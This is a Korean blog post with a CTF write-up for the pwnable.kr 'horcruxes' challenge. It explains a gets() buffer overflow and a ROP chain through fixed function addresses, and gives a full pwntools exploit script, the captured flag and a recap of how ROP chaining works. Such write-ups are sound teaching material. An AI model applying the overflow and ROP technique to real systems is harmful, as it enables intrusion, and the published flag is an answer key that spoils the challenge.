[pwnable.kr] horcruxes

이동화·2025년 7월 23일
post-thumbnail

scp로 바이너로 빼고 ida로 디스어셈블 하면

위와 같은 함수를 볼 수 있다.
/dev/random을 통해 생성한 7개의 random 값을 전부 더한 변수 sum을 입력하면 flag를 준다.
그리고 7개의 함수 A~G가 있는데, 각각 7개의 random 값 중 하나를 출력해준다.
함수에 ASLR이 걸려 있지 않기 때문에 함수의 주소는 고정이고, gets 함수의 존재로 인해 bof가 가능하다.
return address를 덮어 씌워 chain시키면 A~G 함수까지 전부 다 순회할 수 있다.
그리고 runtime 내에 random값을 계산하고 입력해야 하기 때문에 마지막 가젯으로 call ropme 명령어의 주소를 추가하여, ropme에서 return해도 프로세스 종료가 아닌 A~G 순회 후 다시 입력값을 받는 곳으로 가도록 하였다.

그리고 recvall으로 A~G 함수를 순회하며 문자열 사이에 끼인 random 값들을 정규표현식을 적절히 활용하여 파싱하였고 최종적으로 더해주었다.

from pwn import *
import re

#p = process("./horcruxes")
p = remote('0', 9032)

a = 0x804129D
b = 0x80412CF
c = 0x8041301
d = 0x8041333
e = 0x8041365
f = 0x8041397
g = 0x80413C9
ropme = 0x080414f9

bufA = 0x804400C

p.sendline(b"1")

payload = b'A' * (0x74)
payload += b'A' * 4
payload += p32(a)
payload += p32(b)
payload += p32(c)
payload += p32(d)
payload += p32(e)
payload += p32(f)
payload += p32(g)
payload += p32(ropme)

p.sendline(payload)

text = p.recvuntil(b"Menu:")
text = p.recvuntil(b"Menu:")

print(text)
text = text.decode('utf-8', errors='ignore')

nums = re.findall(r'\(EXP\s*([+-]+\d+)\)', text)

cleaned = []
for n in nums:
    if n.startswith('+-'):
        cleaned.append(n[1:])
    else:
        cleaned.append(n.lstrip('+'))

ints = [int(x) for x in cleaned]


sum = 0
for i in ints:
    sum += i

print (int(sum))
print (ints)
p.sendline("1")
p.recvuntil(b"earned? : ")
p.sendline(str((sum)))



print(p.recvall(timeout=2))

근데 sum 값이 int 범위를 벗어나면 flag를 안준다.
그래도 높은 확률로 flag를 얻을 수 있다.

The_M4gic_sp3l1_is_Avada_Ked4vra


ROP의 원리에 대해 복습해보면

ret 명령어는 스택 제일 위에 있는 값을 pop을 통해 가져오고, 그 값을 RIP로 삼는다.
연속적으로 주소를 덮어쓰면, 함수 또는 가젯 제일 마지막에 ret이 또 있기 때문에
return 후 다음에 적인 리턴 주소 값을 pop하게 되며, 계속해서 밑에 있는 값들을 가리키고 가져오는 것을
반복하게 되어 chaining이 가능해지는 것이다.

profile
notion이 나은듯

0개의 댓글